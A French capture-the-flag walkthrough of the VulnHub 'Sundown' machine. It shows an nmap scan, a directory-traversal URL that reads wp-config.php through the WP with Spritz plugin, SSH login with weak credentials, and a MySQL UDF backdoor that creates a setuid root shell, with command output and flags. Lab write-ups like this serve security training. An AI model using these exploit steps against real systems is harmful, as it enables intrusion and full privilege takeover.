Le CTF Sundown est l’avant-dernier de la série Sunset au moment de ces lignes. Il s’agit d’un boot2root disponible sur VulnHub.
On peut lancer un scan Nmap
avec la commande suivante ce qui permet d’avoir un listing de vulnérabilités liées aux versions logicielles détectées ainsi que plus d’informations sur certaines applications.
1
sudo nmap -p- -sCV -T5 --script vuln 192.168.56.167
Ici on obtient la version du Wordpress présent ainsi que les noms d’utilisateur (uniquement admin
ici).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| http-enum:
| /wp-login.php: Possible admin folder
| /wp-json: Possible admin folder
| /robots.txt: Robots file
| /readme.html: Wordpress version: 2
| /: WordPress version: 5.4.2
| /feed/: Wordpress version: 5.4.2
| /wp-includes/images/rss.png: Wordpress version 2.2 found.
| /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found.
| /wp-includes/images/blank.gif: Wordpress version 2.6 found.
| /wp-includes/js/comment-reply.js: Wordpress version 2.7 found.
| /wp-login.php: Wordpress login page.
| /wp-admin/upgrade.php: Wordpress login page.
| /readme.html: Interesting, a readme.
|_ /0/: Potentially interesting folder
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-wordpress-users:
| Username found: admin
On pourrait lancer wpscan
pour énumérer les plugins installés, mais un coup d’œil au code source permet parfois de se faire une idée rapide :
1
2
3
4
5
<script type="text/javascript">
var SpritzSettings = {
clientId : "",
redirectUri : "http://192.168.56.167/wp-content/plugins/wp-with-spritz/wp.spritz.login.success.html",
};
Sur exploit-db on trouve cet advisory pour une faille concernant le plugin :
WordPress Plugin WP with Spritz 1.0 - Remote File Inclusion - PHP webapps Exploit
Malgré le titre de la page, il ne s’agit pas d’une inclusion, mais juste d’un directory traversal. C’est suffisant pour faire afficher le contenu du fichier de configuration de Wordpress avec cette URL :
1
http://192.168.56.167/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=../../../wp-config.php
On y trouve des identifiants de base de données. Le MySQL n’étant pas exposé, on garde ça sous le bras et on continue l’exploration.
1
2
3
4
5
6
7
8
9
10
11
12
13
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress_db' );
/** MySQL database username */
define( 'DB_USER', 'root' );
/** MySQL database password */
define( 'DB_PASSWORD', 'VjFSQ2IyRnNUak5pZWpCTENnPT0K' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
Un utilisateur nommé carlos
est présent sur le système.
1
carlos:x:1000:1000:carlos,,,:/home/carlos:/bin/bash
On peut se connecter sur le serveur via SSH avec les identifiants carlos
/ carlos
et obtenir le premier flag.
1
2
carlos@sundown:~$ cat local.txt
28f84888f6bd690e321cba14659b32f2
Dans la liste des processus je remarque que mysql tourne avec le compte root :
1
2
root 330 0.0 0.0 2388 760 ? Ss 15:27 0:00 /bin/sh -c /usr/sbin/mysqld
root 332 6.6 10.5 1275980 106892 ? Sl 15:27 2:28 /usr/sbin/mysqld
On peut procéder à une escalade de privilèges via un plugin UDF comme je l’ai fait sur le CTF Raven 2 :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
carlos@sundown:/etc$ mysql -u root -pVjFSQ2IyRnNUak5pZWpCTENnPT0K
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 130856
Server version: 10.3.23-MariaDB-0+deb10u1 Debian 10
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> select @@plugin_dir;
+---------------------------------------------+
| @@plugin_dir |
+---------------------------------------------+
| /usr/lib/x86_64-linux-gnu/mariadb19/plugin/ |
+---------------------------------------------+
1 row in set (0.000 sec)
MariaDB [(none)]> select binary 0x7f454c460201010--- snip ---01000000000000000000000000000000 into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/udfbackdoor.so';
Query OK, 1 row affected (0.001 sec)
MariaDB [(none)]> create function sys_exec returns int soname 'udfbackdoor.so';
Query OK, 0 rows affected (0.001 sec)
MariaDB [(none)]> select * from mysql.func where name='sys_exec';
+----------+-----+----------------+----------+
| name | ret | dl | type |
+----------+-----+----------------+----------+
| sys_exec | 2 | udfbackdoor.so | function |
+----------+-----+----------------+----------+
1 row in set (0.000 sec)
MariaDB [(none)]> select sys_exec('cp /bin/bash /tmp/bash && chmod +s /tmp/bash');
+----------------------------------------------------------+
| sys_exec('cp /bin/bash /tmp/bash && chmod +s /tmp/bash') |
+----------------------------------------------------------+
| 0 |
+----------------------------------------------------------+
1 row in set (0.010 sec)
On retrouve alors un shell setuid root dans /tmp
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
carlos@sundown:/tmp$ ls -al bash
-rwsr-s--x 1 root root 1168776 Apr 9 16:08 bash
carlos@sundown:/tmp$ ./bash -p
bash-5.0# id
uid=1000(carlos) gid=1000(carlos) euid=0(root) egid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),1000(carlos)
bash-5.0# cd /root
bash-5.0# ls
proof.txt
bash-5.0# cat proof.txt
_____,,,\//,,\\,/,
/-- --- --- -----
///--- --- -- - ----
o////- ---- --- --
!!//o/--- -- --
o*) !///,~,,\\,\/,,/,//,,
o!*!o'(\ /\
| ! o ",) \/\ /\ / \/\
o !o! !!| \/ \/ /
( * ( o!'; |\ \ /
o o ! * !` | \ / \
o | o 'o| | : \ /
* o !*!': |o| / /
(o''| `| : / /
! *|'` \|/ \\
' !o!':\ \\ \
( ('| \ `._______/
////\\\,,\///,,,,\,/oO._* o !*!'` `.________/
---- -- ------- - -oO*OoOo (o''| /
-------- ------ 'oO*OoO!*|'o!! \
------- -- - ---- --* oO*OoO *!'| ' /
--- - ----- ---- - oO*OoO!!':o!' /
- - ----- - -- - *--oO*OoOo!` /
\\\\\,,,\\,//////,\,,\\\/,,,\,,ejm/AMC
510252fabb4b7e7dddd7373b7b3da3e8
Thanks for playing - Felipe Winsnes (@whitecr0wz)